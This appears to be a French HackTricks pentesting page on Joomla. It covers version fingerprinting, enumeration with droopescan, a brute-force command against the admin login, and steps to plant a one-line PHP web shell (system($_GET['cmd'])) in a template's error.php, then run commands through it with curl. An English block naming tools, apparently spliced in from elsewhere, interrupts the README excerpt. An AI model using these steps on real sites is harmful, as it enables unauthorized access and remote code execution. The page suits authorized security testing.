5.3 KiB
Joomla
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS HackTricks)!
- Travaillez-vous dans une entreprise de cybersécurité? Vous voulez voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version du PEASS ou télécharger HackTricks en PDF? Consultez les PLANS D'ABONNEMENT!
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au dépôt hacktricks et dépôt hacktricks-cloud.
Statistiques Joomla
Joomla collecte certaines statistiques d'utilisation anonymes telles que la répartition des versions de Joomla, PHP et de la base de données, ainsi que les systèmes d'exploitation serveur utilisés sur les installations Joomla. Ces données peuvent être interrogées via leur API publique.
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
Énumération
Découverte/Empreinte
- Vérifiez les méta
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
- robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
- README.txt
Joomla
Joomla Enumeration
Joomla enumeration can be performed using tools like JoomScan
or JoomlaScanner
. These tools can help identify the Joomla version, installed components, templates, and modules.
Joomla Exploitation
Exploiting Joomla vulnerabilities can be done using tools like JoomRAT
or Joomla Exploit Framework
. These tools can automate the process of finding and exploiting vulnerabilities in Joomla websites.
Joomla Post-Exploitation
After exploiting a Joomla website, post-exploitation activities can include maintaining access, escalating privileges, and exfiltrating data. Tools like JoomShell
can be used for these purposes.
Joomla Security
To secure a Joomla website, ensure that the Joomla core, components, templates, and modules are regularly updated to the latest versions. Additionally, implement strong passwords, restrict access to sensitive directories, and use security extensions like Akeeba Admin Tools
or RSFirewall
.
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
Version
- Dans /administrator/manifests/files/joomla.xml vous pouvez voir la version.
- Dans /language/en-GB/en-GB.xml vous pouvez obtenir la version de Joomla.
- Dans plugins/system/cache/cache.xml vous pouvez voir une version approximative.
droopescan scan joomla --url http://joomla-site.local/
Brute-Force
Vous pouvez utiliser ce script pour tenter une attaque par force brute sur la connexion.
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
RCE
Si vous parvenez à obtenir les identifiants d'administrateur, vous pouvez exécuter du code à distance à l'intérieur en ajoutant un extrait de code PHP pour obtenir RCE. Nous pouvons le faire en personnalisant un modèle.
- Cliquez sur
Templates
en bas à gauche sousConfiguration
pour ouvrir le menu des modèles. - Cliquez sur un nom de modèle. Choisissons
protostar
sous l'en-tête de colonneTemplate
. Cela nous amènera à la pageTemplates: Customise
. - Enfin, vous pouvez cliquer sur une page pour afficher la source de la page. Choisissons la page
error.php
. Nous ajouterons une instruction PHP en une ligne pour exécuter du code comme suit : system($_GET['cmd']);
- Enregistrer et fermer
curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id